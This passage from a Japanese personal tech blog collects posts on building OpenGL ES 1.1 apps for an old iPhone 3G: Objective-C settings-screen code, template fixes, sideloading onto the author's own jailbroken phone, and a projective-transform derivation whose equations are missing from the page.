    -(void)viewDidLoad
    {
        [super viewDidLoad];
    
        float animationIntervalInMsec = [(GLView *)self.view animationInterval] * 1000;
        [slider setValue:animationIntervalInMsec];
        [self slided:slider]; //テキストボックス初期化のため、slidedメソッドを呼び出し
    }
    

以上で、スライドバーでアニメーションのスピード調整ができることを、シミュレーターで確認した。

●別画面でSetup画面を追加してみる

3Dオブジェクトの複数のバラメーターを操作するための画面を作成してみる。

  1. SetupViewControllerクラスを追加
    XcodeのメニューバーからFile → New → File
    テンプレート選択画面では、iOSの"Objective-C class"を選択
    Option選択画面では、"With XIB for user interface"にチェック
  2. SetupViewController.xibを開いて、UI部品一式を追加
  3. SetupViewController.hにメンバー変数とメソッド宣言追加
    @interface SetupViewController : UIViewController
    {
        IBOutlet UISlider* bodyGranularitySlider;
        IBOutlet UILabel* bodyGranularityLabel;
        IBOutlet UISwitch* textureSwitch;
        IBOutlet UISlider* flipperGranularitySlider;
        IBOutlet UILabel* flipperGranularityLabel;
    }
    - (IBAction)bodyGranularitySlide:(UISlider *)sender;
    - (IBAction)textureSwitched:(UISwitch *)sender;
    - (IBAction)flipperGranularitySlide:(UISlider *)sender;
    
    - (IBAction)backToMain:(UIBarButtonItem *)sender;
    @end
    
  4. UIとメンバー変数、メソッドを関連付ける
  5. 3Dオブジェクトのバラメーター変更の為のメソッド追加
    P2Object.hに以下を追加
    + (void)reinitialize;
    
    /* クラス変数へのアクセサー */
    + (bool) useTexture;
    + (void) useTexture :(bool)value;
    + (int) bodyGranularity;
    + (void) bodyGranularity :(int)value;
    + (int) flipperGranularity;
    + (void) flipperGranularity :(int)value;
    
    P2Object.mに以下を追加
    /* クラス変数 */
    static bool useTexture = true;
    static bool drawingShadow = false;
    static int bodyGranularity = 18;
    static int flipperGranularity = 10;
    
    +(void)reinitialize
    {
        /* パラメーターの変化をオブジェクトに反映させる */
        (コードは省略)
    }
    
    + (bool) useTexture
    {
        return useTexture;
    }
    + (void) useTexture :(bool)value
    {
        useTexture = value;
    }
    + (int) bodyGranularity
    {
        return bodyGranularity;
    }
    + (void) bodyGranularity :(int)value
    {
        bodyGranularity = value;
    }
    + (int) flipperGranularity
    {
        return flipperGranularity;
    }
    + (void) flipperGranularity :(int)value
    {
        flipperGranularity = value;
    }
    
    Objective-Cには、クラスメソッドは存在するが、クラス変数という概念が存在しないので、Cのコードをそのまま使う等の理由でインスタンスを生成せずにクラスメソッドで全てを実装している場合は、このように、状態を保存する変数を.mファイル内で静的変数にして、クラスメソッドとしてアクセサーを用意するしか無さそうである。
  6. SetupViewのコールバックメソッドの定義追加
    SetupViewController.mに以下を追加する。
    #import "P2Object.h"
    
    - (IBAction)bodyGranularitySlide:(UISlider *)sender
    {
        /* スライドバーの数値を右側のラベルに反映させる */
        NSString *text = [[NSString alloc]initWithFormat:@"%d", (int)sender.value];
        [bodyGranularityLabel setText:text];
        [text release];
        /* スライドバーの数値をオブジェクトのパラメーターに反映させる */
        [P2Object bodyGranularity:sender.value];
    }
    - (IBAction)textureSwitched:(UISwitch *)sender;
    {
        /* ユーザー操作結果をオブジェクトのパラメーターに反映させる */
        [P2Object useTexture:sender.on];
    }
    - (IBAction)flipperGranularitySlide:(UISlider *)sender
    {
        /* スライドバーの数値を右側のラベルに反映させる */
        NSString *text = [[NSString alloc]initWithFormat:@"%d", (int)sender.value];
        [flipperGranularityLabel setText:text];
        [text release];
        /* スライドバーの数値をオブジェクトのパラメーターに反映させる */
        [P2Object flipperGranularity:sender.value];
    }
    
    SetupViewController.mのviewDidLoadメソッドに、以下の、スライドバーやスイッチの値をオブジェクトのパラメーターに初期化するコードを追加する。
        [bodyGranularitySlider setValue:[P2Object bodyGranularity]];
        [flipperGranularitySlider setValue:[P2Object flipperGranularity]];
        [textureSwitch setOn:[P2Object useTexture]];
        /* スライドバーの右のラベルを更新する */
        [self bodyGranularitySlide:bodyGranularitySlider];
        [self flipperGranularitySlide:flipperGranularitySlider];
    
  7. 画面遷移処理追加
    MainWindowの"Edit"ボタンが押されたらSetupViewが開くよう、GLViewController.mのsetupメソッドを以下のように変える。
    #import "SetupViewController.h"
    
    - (IBAction)setup:(UIBarButtonItem *)sender
    {
        SetupViewController *setupView = [[SetupViewController alloc] initWithNibName:@"SetupViewController" bundle:nil];
        [(GLView *)self.view stopAnimation];
        [self presentModalViewController:setupView animated:YES];
        [setupView release];
    }
    
    presentViewControllerでなくpresentModalViewControllerを使っているのは、筆者の端末がiPhone3Gである都合で、iOS5以降でないからである。
    SetupViewの"Done"ボタンが押されたらMainWindowに戻るよう、"Done"ボタンのコールバックメソッドを次のようにする。
    - (IBAction)backToMain:(id)sender;
    {
        [self dismissModalViewControllerAnimated:YES];
        [P2Object reinitialize];
    }
    
    "Edit"ボタン押下時にGLViewController.setupでアニメーションを停止しているので、SetupViewが閉じたらアニメーションを再開するコードを追加する。幸い、MainWindowに戻ったらGLViewController.viewWillAppearが呼ばれるので、そこに追加するのが良さそうである。
    -(void)viewWillAppear:(BOOL)animated
    {
        [super viewWillAppear:animated];
        [(GLView *)self.view startAnimation];
    }
    

●結果

・プロジェクトファイル一式
UsingTheTemplateAndIB.tar.gz

・追加したSetup画面の操作でオブジェクトが変化する様子
Use textureをONにすると→ 腹の白の輪郭がきれい

Use textureをOFFにすると→ Granularity(ポリゴンの細かさ)が50でも汚い

●参考文献

iPhone SDK: Interface Builder Basic Training
筆者は、このページの通りにやってみるだけで、InterfaceBuilderの使い方がほとんどわからない状態から、色々なUI部品を使うことができるようになった。とても良いチュートリアルであった。
XcodeのHelp
リファレンスだけあって、ある程度の知識が無いと理解できない情報が出てくる場合が多いが、何を検索しても何か見つかるし、何よりもサンプルコードが充実しているので、すごく助かる。

See more ...

Posted at 22:40 in PC一般 | WriteBacks (0)
WriteBacks

May 04, 2014

今更iPhoneでOpenGLES1.1を動かしてみる

iPhoneでもOpenGLを動かしてみたいと思って、知人から入手したiPhone3Gであるが、3Gというのが曲者だった。

iPhone3Gは、OpenGLアプリを作成するのにいくつかの制約がある。
・OpenGLES2.0が使えない
 OpenGLES1.1しか使えない。
・GLKitが使えない
 GLKitはiOS5以降に含まれているが、iPhone3GはiOS4.2.1までしかバージョンアップできない為。
・ステンシルバッファが使えない

それに対し、iPhone3Gの1つ次の3GSは、OpenGLES2.0が動く。これは、3GS以降のGPUは全てPowerVRのSGXシリーズであるのに対し、3GはPowerVRの"MBX Lite 3D"であることが関係しているようだ。
また、3GSにはiOS5がインストールできるので、そうすればGLKitが使える。
そして、3GSはステンシルバッファが使える。

iPhone3GはARMv6アーキテクチャーである為、Xcode 4.4.1を使用しているが、これに含まれる、iOS Applicationの"OpenGL Game"というテンプレートは、付属のiPhoneシミュレーターでは動いたので、簡単にiPhone3GでOpenGLを始められそうと思ったが、このテンプレートはGLKitを使用しているため、iPhone3Gでは動かなかった。
しかも、このテンプレートはOpenGLES2.0にも対応しているため、冗長である。

その為、GLKitに依存していないOpenGLES1.1用のテンプレートをインターネット上で探した。その結果、以下を発見した。
(1) Xcode 3.xのOpenGL ES Application テンプレート
 OpenGLES2.0も使うようになっているので、シミュレーターでは表示されるがiPhone3Gの実機では表示されないオブジェクト(物体)がある。
 但し、depth bufferは用意されていないらしい。
 また、Xcode 4では開けない。
(2) OpenGL ES 道場(1) - こじ研(携帯メディア) のGLBaseプロジェクト
 Xcode 3.xのテンプレートをベースに、depth bufferが追加されており、多少OpenGLES1.1向けに整理されている。但し、多少GLES2.0用の残骸が残っている。
(3) jlamarche/iOS-OpenGLES-Stuff · GitHub紹介記事)のSimple OpenGL ES 1.1 example
 OpenGLES1.1のサンプルプロジェクト。下記(4)のテンプレートを使用したプロジェクトと類似している。但し、Xcode 4.4.1で確認する限り、そのままではシミュレーターでも動かない。
(4) jlamarche/iOS-OpenGLES-Stuff · GitHub紹介記事)のOpenGL ES 1.1 Project Template
 OpenGLES1.1に特化したテンプレート。Quaternionを扱うためのマクロや、gluLookAt()や、アセンブラで書かれた行列積のマクロが用意されており、専門的な香りがする。
 但し、Xcode 3用のテンプレートであり、Xcode 4以降では開けない。

これらの内、(1)は使用するメリットがほとんど無いので、(2)-(4)について、実際にiPhone3Gで動作するまでに行ったことを記録する。

■(2)-(4)共通の、iPhone3Gのための手順
・"TARGETS"の"Build Settings"の"Architectures"を、"Standard (armv7)"から"armv6"に書き換える
・(推奨)同じく"Build Settings"の"LLVM GCC 4.2 - Code Generation"の所の"Optimization Level"を、"None [-O0]"以外にする
("None [-O0]"にしていると、整数型の割り算や剰余が、libgccの___divsi3や___modsi3を使うコードになることがあり、実機で"Symbol not found: ___divsi3"等のエラーになってハングアップする)

■(2) GLBaseプロジェクトの使用手順
特に何もいじらなくても、そのまま動く。
GLBaseViewController.mのdrawFrameを書き換えれば、OpenGLのコードで好きな描画をさせることができる。

なお、ディレクトリーツリーのルートの"GLBase"をrenameすれば、ディレクトリー内の"GLBase"を含むファイル名を一斉にrenameできる。

■(3) Simple OpenGL ES 1.1 exampleの使用手順
・"git clone https://github.com/jlamarche/iOS-OpenGLES-Stuff.git"等として取得
・(推奨)Build Settingsの画面で"Validate Settings"を実行し、修正を許可
・TARGETSのBuild SettingsのBuild OptionsのCompiler for C/C++/Objective-Cを"LLVM GCC 4.2"に変更(Default Compilerだと実機用のコンパイルがエラーになる)
・そのままではPart6ProjectAppDelegate.applicationDidFinishLaunchingが呼ばれないため、以下のパッチを適用、または同様に変更

--- Original/iOS-OpenGLES-Stuff/Simple OpenGL ES 1.1 example/Classes/Part6ProjectAppDelegate.m
+++ tmp/Simple OpenGL ES 1.1 example/Classes/Part6ProjectAppDelegate.m
@@ -23,6 +23,9 @@
GLViewController *theController = [[GLViewController alloc] init];
self.controller = theController;
[theController release];
+
+ self.window = [[[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]] autorelease];
+ self.window.rootViewController = self.controller;

GLView *glView = [[GLView alloc] initWithFrame:rect];
[window addSubview:glView];
--- Original/iOS-OpenGLES-Stuff/Simple OpenGL ES 1.1 example/main.m
+++ tmp/Simple OpenGL ES 1.1 example/main.m
@@ -8,11 +8,12 @@


#import
+#import "Part6ProjectAppDelegate.h"

int main(int argc, char *argv[])
{
NSAutoreleasePool *pool = [NSAutoreleasePool new];
- UIApplicationMain(argc, argv, nil, nil);
+ UIApplicationMain(argc, argv, nil, NSStringFromClass([Part6ProjectAppDelegate class]));
[pool release];
return 0;
}

これで、カラフルな12面体が回転する。
GLViewController.mののdrawFrameを書き換えれば、OpenGLのコードで好きな描画をさせることができる。

■(4) OpenGL ES 1.1 Project Templateの使用手順
これは残念ながらXcode3用のテンプレートであり、Xcode4では使えない。Xcode3とXcode4のテンプレートは互換性が無い上、Xcode4用に書き換えるのも困難なのである。
参考URL:XCode4のプロジェクトテンプレートが作れない! - とっくりばー
Xcode3でこのテンプレートを使ってプロジェクトを作成するのが1つの方法だが、ファイル名や一部文字列を置換するだけなので、そういうスクリプトを作っても良いし、上記URLに載せられているRubyスクリプトでもプロジェクトファイルのコピー&置換ができる。

1. 上記URLのReplacer.rbを使う等により、テンプレートからプロジェクトを作成
2. なぜかGLView.mの場所が間違っているので、Classes/に移動する
3. (推奨)Build Settingsの画面で"Validate Settings"を実行し、修正を許可
4. (推奨)TARGETSのBuild SettingsのBuild OptionsのCompiler for C/C++/Objective-Cを"LLVM GCC 4.2"に変更(Default CompilerだとOpenGLCommon.hのアセンブラを用いたマクロがコンパイルエラーになる)

これで、GLViewController.mののdrawFrameに何かを書けば、OpenGLのコードで好きな描画をさせることができる。
何も書かないと画面が真っ暗になるので、試しに何か表示するなら、drawFrameをiOS-OpenGLES-Stuff/Simple OpenGL ES 1.1 example/Classes/GLViewController.mのものに置き換えてみても良いし、画面が暗い青になるだけで良ければ、1行目の"glColor4f"を"glClearColor"に書き換えても良い。

See more ...

Posted at 22:50 in PC一般 | WriteBacks (0)
WriteBacks

Apr 25, 2014

今更iPhone3Gで自作アプリを動かしてみる

昨年9月に、とある方から、とあるお祝いの品として、使わなくなったiPhone3Gを譲り受けた。
最初から電話として使うつもりは全く無く、iPhoneという物を触ってみたいと思ったのと、丁度、Androidの実機で自作アプリを動かしていた頃で、iPhoneでも自作アプリを動かしてみたいと思ってお願いしたものだ。

入手後すぐ、意気揚々と「すべてのコンテンツと設定を消去」してiOSを最新の4.2.1にバージョンアップすると、ロック画面で「アクティベーションが必要です」か何かのメッセージが出て、何もできなくなってしまった。
数日後にアクティベーション専用SIMというものを手に入れて、起動はできたが、Safariを使ってても全体的に動作が遅いし、App Storeで色々なアプリをインストールしようとしても、「このアプリケーションはこのiPhoneとは互換性がありません」とか「このアプリケーションにはiOS X.Xが必要です」とかと表示されてほとんど失敗し、1週間もするとiPhoneに触るのが億劫になり、同時にiPhone3Gは古すぎて自作アプリを開発する上で条件が悪いことも知って億劫になり、その後はiPodの代わりとして使うだけになっていた。

iPhone3Gとその次機種であるiPhone3GS以降とでは、アプリ開発をする上で大きく異なる点がいくつかある。
・iPhone3Gは、インストールできるiOSのバージョンが4.2.1まで
 それに対してiPhone3GSならiOS 6もインストールできる
・3GはOpenGLES 1.1のみ、3GSなら2.0も使用可能
・3GはARMv6アーキテクチャー、3GSはARMv7アーキテクチャー
従って、折角ならiPhone3GS以降でアプリ開発を始めてみたかったのである。

その後、新しいiPhoneを買うかどうかを迷っていたのだが、年が明けて孔子の論語に記載される所の不惑となる年齢に達したことにより、やっぱり今使っているガラケーに何の不満も無い自分にはこれが使える限り金のかかるスマートフォンは不要、と惑わなくなり、当分iPhoneを買うことは無いと確定したので、もらい物のiPhone3Gで自作アプリを動かすことにした。

●開発環境入手
iPhoneの開発環境はXcodeであるが、3GはARMv6アーキテクチャーなので、Xcodeのバージョンに制約がある。Xcode 4.5でARMv6がサポートされなくなったので、Xcode 4.4.1がARMv6用の最新である(*1)

古いバージョンのXcodeは、https://developer.apple.com/xcode/downloads/の"Additional Tools"の所の"View downloads"というリンクの先のリストからダウンロードできる(Apple IDが必要)。

●iPhone3G用の"Hello, world!"アプリの作成
Xcode 4.4.1にはiPhoneシミュレーターも同梱されているので、シミュレーターで動作するiPhoneアプリならすぐに着手できる。

  1. XcodeのメニューバーからFile→New→Projectとする。
  2. "Choose a template"の画面で、iOS Applicationの"Single View Application"を選ぶ。

    ※Xcode 4.4.1のiOS Applicationのtemplateの内、iOS 4.2.1でも動くのは、"Single View Application"と"Tabbed Application"の2つだけのようである。"OpenGL Game"はiOS 4.2.1にGLKitが無いので動作せず、それ以外はiOS 4.2でStoryboardがサポートされていないのでbuildできない。
  3. "Choose options"の画面では、"Use Storyboards"のチェックは外す。
  4. プロジェクトが作成されたら、左上のソースコードツリーの"ViewController.xib"を開く。
  5. InterfaceBuilder(GUI編集画面)が開くので、"Label"とか"Round Rect Button"とかがある所から"Label"をドラッグし、iPhoneの画面の適当な所にドロップする。
  6. ドロップした"Label"をダブルクリックし、"Hello, world!"に変える。
  7. "Run"を押す

→ シミュレーターが開き、"Hello world!"が表示されるはず。

※4.〜6.について、InterfaceBuilderを使うのでなく、真面目に何らかのソースコードを書く場合は、以下の2つの参考記事のそれぞれの4ページ目辺りを参照されたい。
参考記事:
iOS SDKで始めるObjective-C入門(2):iOSアプリ開発初心者に捧ぐ開発環境Xcodeの概要とインストール - @IT
SDKで始めるiPad/iPhoneアプリ開発の勘所(1):いまさら聞けないiPhone/iPadアプリの作り方の基礎 - @IT

●実機へのインストールについて
さて、これが問題である。

正しくは、"Apple Developer"に登録(無料)した上、"iPhone Developer Program"に登録(有料:$99/year)する必要があり、その上で長大な手順が続く。
参考:ここが大変だよiPhone開発(4):ここが大変だよiPhone実機テスト+iPhone OS 3.0の新機能 - @IT

無料で実機に自作アプリをインストールするには、いわゆるJailBreakを行う以外に、手段が全く無いようである。

今回、特にアプリを配布するつもりが無く、試しに簡単なプログラムを動かしてみたい程度で、しかも時代遅れの機種に、1万円を払うのは厳しい。
このiPhoneは、特に使っておらず、筆者にとっては自作アプリを動かせなければ無用である。JailBreakすることによって再起不能になっても問題無い。
ただ、iPhoneのJailbreakingは法に触れるかどうかがグレーであり、それ故に実施するかどうか悩んだのだが、日本における判例が無いことと、著作権法第20条の2に、プログラムを動かす為のプログラムの改変は同一性保持権の侵害に当たらないとある(*2)ことと、Appleが異議を申し立てていた、アメリカの著作権局が発行したDMCAのJailbreakingに関する見直し条項が、その後の2012年10月22日の改正でも、合法的に入手したプログラムを動作させる為の「携帯無線電話」のプログラムの改変は禁止されない、と維持された(*3)ことから、自作アプリをiPhoneで動作させる目的に限ってのJailbreakingは、2015年10月28日までは違法性を問われる確率が極めて低いと判断し、実施に踏み切った。

以下は、JailBreakingが済んでいることと、iPhoneにsshがインストールされている前提の手順である。

  1. Xcodeの左側のツリー表示の一番上のプロジェクトのアイコンを選び、プロジェクト設定の画面にする。
  2. "PROJECT"と"TARGETS"がある列の、"TARGETS"の所のアイコンを選ぶ。
  3. "Build Settings"の"Architectures"を、"Standard (armv7)"から"armv6"に書き換える(*5)
    編集可能な列が2列あるが、右側の列を操作すると左側の列も連動するので、右側の列を操作すると良い。
  4. 同じく"Build Settings"の"Code Signing"の所を全て"Don't Code Sign"にする。
  5. 下の方にある"Validate Settings"を押して、修正させる。
  6. ツールバーにある"iPhone 5.1 Simulator"を"iOS Device"に変える。
  7. メニューバーから"Product"→"Build"する。(*7)
  8. ツリー表示のProductsの下のXXX.appを右クリックし、"Show in Finder"を選ぶ
  9. ターミナルを開き、
    codesign -fs "[適当な証明書の名前]" [パス]
    とする。[パス]の所は、8.で開いたFinderからdrag&dropする。
  10. iPhoneに転送する。
    1つの方法としては、ターミナルから
    scp -r [パス] root@[iPhoneのIPアドレス]:/Applications/
    とする(*4)
  11. iPhoneを"Respring"する。
    1つの方法としては、sshでiPhoneにログインし、
    killall -HUP SpringBoard
    とする。

●トラブルシューティング
正規の手順だと、iPhoneをPCにUSB接続していると、実機のアプリをデバッガで実行できるのだが、上記の手順だとそれができないので、クラッシュログとデバッグコンソールに頼ることになる(*6)

シミュレーター上では動作しても、実機ではハングアップすることは頻繁にある(*4)
アプリ起動するとハングアップして勝手に閉じてしまう場合、クラッシュログが残っているかどうかを確認する。

  1. iPhone3GをPCにUSB接続する。
  2. "Window"→"Organizer"を開く。
  3. "iPhone3G"の"Device Logs"を開く。

または、MacのiTunesでiPhoneを同期すると、~/Library/Logs/CrashReporter/の中にコピーされるようだが、筆者の経験上、同期してもなかなかコピーされないことがあったので、お勧めしない。

コードが思い通りに動かない場合は、printfデバッグを行う。

  1. コードに、
    NSLog(@"[フォーマット文字列]"[, 引数1, 引数2, ...]);
    を加える。[フォーマット文字列]には、"%d"など、Cのprintfと同じ書式が使えるようである。
  2. "Window"→"Organizer"を開く。
  3. "iPhone3G"の"Console"を開く。
  4. iPhoneでアプリを実行する。

●免責事項
本記事を参考にしたことにより生じたいかなる損害に関しても、筆者は一切の責任を負わないものとする。

See more ...

Posted at 23:58 in PC一般 | WriteBacks (0)
WriteBacks

Jan 02, 2014

長方形を任意の四角形に変換する行列

この前、長方形の画像を、任意の4頂点からなる凸四角形に変形して表示したくなった。

長方形を、2x2の行列による一次変換や、それに平行移動を加えた3x3のアフィン変換で、任意の凸四角形に移すことは不可能である。これらの一次変換では、長方形を平行四辺形に変換することはできるが、台形には変換できないからである。

しかし、変換行列を任意の3x3行列とし、変換後のベクトルの3番目の要素を拡大係数として斉次座標系を構成する、アフィン変換を拡張したものとも言える、射影変換(perspective transform)なら、それは可能である。

可能なはずなのだが、Webを検索しても、具体的な変換行列の数式が意外と見つからない。筆者の検索方法が悪いからだとは思うが、どうにも見つけられなかったので、自分で計算してみた。

0≦x≦W, 0≦y≦Hの領域にある長方形を0≦x≦1, 0≦y≦1の正方形に移す射影行列は自明(diag(1/W,1/H,1)である)なので、(0,0),(1,0),(0,1),(1,1)の4点を(Px,Py),(Qx,Qy),(Rx,Ry),(Sx,Sy)に移す射影変換を考える。

(≡は列ベクトルが斉次座標(homogeneous coordinate)として等価であることを表す)を満たすsx〜w2があるかどうかを考える。

上の合同式を展開する。

射影変換の斉次座標の定義より、(x y w)T≡(x/w y/w 1)Tなので、上の合同式は

という等式にできる。つまり、

という連立方程式であり、これを解くと、

と求まる。(力づくで解くなら、tx,tyの次にw0,w1をまとめて求めると良い。)(一見複雑だが、分母は全て同じ)
従って、w2=SxQy-SyQx+QxRy-QyRx+RxSy-RySxとすると、(0,0),(W,0),(0,H),(H,H)の4点を(Px,Py),(Qx,Qy),(Rx,Ry),(Sx,Sy)に移す射影変換は、

である。

■テストプログラム
Javaアプレットの起動用のページ
ソースコード
・使い方
 四角形の頂点の赤い丸をドラッグすると、イメージがそれに合わせて変形します。
 四角形に凹みができる(鈍角の内角ができる)と、正しく動作しません。

See more ...

Posted at 23:36 in PC一般 | WriteBacks (0)
WriteBacks